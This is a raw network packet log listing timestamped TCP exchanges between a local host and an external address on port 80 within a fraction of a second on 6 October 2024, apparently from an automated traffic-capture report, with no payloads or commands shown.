Oct 6, 2024 21:27:37.933712006 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.933732033 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.938561916 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.938572884 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.938638926 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.938664913 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.943618059 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.943641901 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.943653107 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.943658113 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.943689108 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.948771000 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.948776960 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.948785067 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.949980974 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.953752995 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.953774929 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.953784943 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.953814983 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.953828096 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.958803892 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.958842993 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.958880901 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.958899975 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.963784933 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.963797092 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.963876009 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.963891029 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.963927031 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.967165947 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.967191935 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.967204094 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.967245102 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.970215082 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.970227957 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.970238924 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.970277071 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.970293045 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.972764015 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.972774982 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.972785950 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.972840071 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.975949049 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.975997925 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.976007938 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.976018906 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.976047993 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.979178905 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.979228973 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.979238987 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.979279995 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.982197046 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.982233047 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.982242107 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.982274055 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.982299089 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.984961987 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.984980106 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.984989882 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.985044003 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.988235950 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.988277912 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.988279104 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.988289118 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.988322020 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.990995884 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.991020918 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.991030931 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.991061926 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.993989944 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.994013071 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.994021893 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.994043112 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.994062901 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.996958971 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.997021914 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.997031927 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.997070074 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.001096010 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.001152992 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.001213074 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.001224041 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.001252890 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.002898932 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.002922058 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.002932072 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.002974033 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.006447077 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.006457090 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.006468058 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.006500006 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.008091927 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.008910894 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.008934975 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.008944988 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.008980036 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.012320995 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.012356043 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.012366056 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.012403965 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.012681961 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.015005112 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.015047073 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.015057087 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.015109062 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.018306017 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.018331051 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.018340111 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.018383026 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.018405914 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.021030903 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.021066904 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.021075964 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.021110058 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.025645018 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.025657892 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.025669098 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.025703907 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.025716066 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.027187109 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.027232885 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.027241945 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.027292013 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.030251026 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.030261993 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.030272961 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.030302048 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.030314922 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.032723904 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.032742023 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.032753944 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.032825947 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.035516024 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.035559893 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.035569906 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.035619974 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.035641909 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.038259029 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.038276911 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.038324118 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.038367033 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.041690111 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.041757107 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.041830063 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.041840076 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.041877985 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.044018030 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.044049978 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.044060946 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.044116020 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.046679020 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.046693087 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.046700954 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.046755075 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.046766043 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.049007893 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.049029112 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.049037933 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.049088955 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.052498102 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.052515984 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.052526951 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.052556038 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.052588940 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.055586100 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.055609941 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.055619001 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.055665016 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.058947086 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.058981895 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.059014082 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.059017897 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.059058905 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.060625076 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.060684919 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.060714960 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.060734034 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.062609911 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.062644005 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.062658072 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.062679052 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.063215971 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.064704895 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.064764977 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.064794064 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.064832926 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.066530943 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.066587925 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.066592932 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.066617012 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.068103075 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.068203926 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.068237066 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.068259954 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.068283081 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.070075035 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.070086956 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.070099115 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.070111990 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.070132971 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.071280956 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.071399927 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.071412086 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.071448088 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.072726011 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.072762012 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.072766066 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.072777033 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.072822094 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.073995113 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.074007034 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.074017048 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.074039936 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.075078011 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.075090885 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.075102091 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.075136900 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.075165987 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.077054977 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.077119112 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.077128887 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.077172041 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.078372955 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.078383923 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.078396082 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.078421116 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.078457117 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.080024958 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.080035925 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.080049038 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.080074072 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.082540989 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.082551956 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.082564116 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.082628965 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.083514929 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.083525896 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.083538055 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.083558083 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.084831953 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.084842920 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.084853888 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.084892035 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.084928036 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.086502075 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.086514950 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.086527109 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.086549997 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.087713003 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.087754011 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.087764025 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.087773085 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.087793112 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.089051962 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.089063883 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.089076996 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.089415073 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.090584040 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.090603113 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.090615034 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.090653896 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.090684891 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.091955900 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.091968060 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.091980934 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.092005968 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.093401909 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.093415976 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.093429089 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.093450069 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.093498945 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.094836950 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.094851017 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.094863892 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.094892979 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.096115112 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.096137047 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.096147060 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.096159935 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.096195936 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.097691059 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.097702980 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.097716093 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.097758055 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.099004030 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.099087000 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.099102974 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.099144936 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.099179983 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.100418091 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.100472927 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.100490093 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.100523949 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.101843119 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.101861000 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.101880074 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.101883888 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.102094889 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.103137970 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.103159904 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.103179932 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.103205919 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.104373932 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.104422092 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.104430914 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.104440928 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.104489088 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.106111050 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.106129885 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.106152058 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.106204987 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.106949091 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.106969118 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.106987000 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.107006073 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.107023001 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.108315945 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.108336926 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.108356953 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.108382940 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.109930992 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.109947920 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.109961033 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.109980106 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.110013008 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.110965014 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.111031055 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.111042976 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.111098051 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.112164974 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.112179041 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.112190962 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.112201929 CEST	49746	80	192.168.2.8	194.87.189.87
